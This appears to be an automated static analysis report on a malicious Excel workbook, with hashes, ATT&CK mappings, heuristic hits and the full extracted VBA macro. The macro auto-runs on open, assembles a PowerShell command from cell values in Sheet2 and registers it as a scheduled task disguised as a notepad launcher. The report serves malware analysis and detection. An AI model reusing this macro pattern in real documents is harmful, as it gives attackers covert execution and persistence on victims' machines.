Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2e87227b470fb2fc…

MALICIOUS

Office (OOXML)

58.0 KB Created: 2021-06-23 08:35:37 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: a840dd27f59833a9f8b12e47036d7b25 SHA-1: 186782961330c249d6ac54955a8120d911c4be55 SHA-256: 2e87227b470fb2fc9de19599b835d55d6a55321728f71dbb7b1f8daab1b4e994
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that utilizes CreateObject to interact with the Windows Task Scheduler. It then constructs a PowerShell command to execute. The macro references PowerShell and uses CreateObject, indicating a likely intent to download and execute a second-stage payload. The Workbook_Open macro is a common technique for initial execution within Office documents.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set xUserDefined = xDialogDemote.Actions.Create(ActionTypeExec)
        xUserDefined.Path = "powershell"
        For Each Cell In ActiveWorkbook.Sheets("Sheet2").Range("BG56:GH190")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Const xDialogErrorChecking = 0
        Set xDialogUpdateLink = CreateObject("Schedule.Service")
        Call xDialogUpdateLink.Connect
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
                xListConflictRetryAllConflicts = xFront()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3608 bytes
SHA-256: c9ae2906bbbea57729a0409d4a167e6af4756ef5f3a63e29c793659ed38e7c42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
            xListConflictRetryAllConflicts = xFront()
End Sub

Function xFront()
    Const xGuess = 1
    Const xDialogErrorChecking = 0
    Set xDialogUpdateLink = CreateObject("Schedule.Service")
    Call xDialogUpdateLink.Connect
    Set xFloor = xDialogUpdateLink.GetFolder(Chr(92))
    Set xDialogDemote = xDialogUpdateLink.NewTask(0)
    Set xTickMarkNone = xDialogDemote.RegistrationInfo
    xTickMarkNone.Description = "Start notepad at a certain time"
    xTickMarkNone.Author = "Author Name"
    Set xNone = xDialogDemote.Principal
    xNone.LogonType = 3
    Set xDArea = xDialogDemote.Settings
    xDArea.Enabled = True
    xDArea.StartWhenAvailable = True
    xDArea.Hidden = False
    Set xParamTypeChar = xDialogDemote.Triggers
    Set xPatternGrid = xParamTypeChar.Create(xGuess)
    xThousandsSeparator = DateAdd("s", 126, Now)
    xAlways = xIMEModeHangulFull(xThousandsSeparator)
    xStretch = DateAdd("n", 10, Now)
    xBetween = xIMEModeHangulFull(xStretch)
    xPatternGrid.StartBoundary = xAlways
    xPatternGrid.EndBoundary = xBetween
    xPatternGrid.ExecutionTimeLimit = "PT5M"
    xPatternGrid.ID = "TimeTriggerId"
    xPatternGrid.Enabled = True
    Set xUserDefined = xDialogDemote.Actions.Create(ActionTypeExec)
    xUserDefined.Path = "powershell"
    For Each Cell In ActiveWorkbook.Sheets("Sheet2").Range("BG56:GH190")
        If Cell.Value > 0 Then
            xHiLoLines = xHiLoLines & Chr(Cell.Value)
        End If
    Next Cell
Debug.Print xDiagonalDown
    xNever = xHiLoLines
        Debug.Print xNever
    xUserDefined.Arguments = xNever
    Call xFloor.RegisterTaskDefinition("Test TimeTrigger", xDialogDemote, 6, , , 3)
End Function

Function xIMEModeHangulFull(xVAlignBottom)
    xLabelPositionBestFit = "0" & Second(xVAlignBottom)
    xStError = "0" & Minute(xVAlignBottom)
    xRangeAutoFormatList2 = "0" & Hour(xVAlignBottom)
    xUnderlineStyleDouble = "0" & Day(xVAlignBottom)
    xLinkStatusSourceNotOpen = "0" & Month(xVAlignBottom)
    xNormalLoad = Year(xVAlignBottom)
    xLegendEntry = Right(xRangeAutoFormatList2, 2) & ":" & Right(xStError, 2) & ":" & Right(xLabelPositionBestFit, 2)
    xEntirePage = xNormalLoad & "-" & Right(xLinkStatusSourceNotOpen, 2) & "-" & Right(xUnderlineStyleDouble, 2)
    xIMEModeHangulFull = xEntirePage & "T" & xLegendEntry
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: f0320c0dafba196fa3264c2eda619f073815333723c2c1ddcd749a8b49d33b37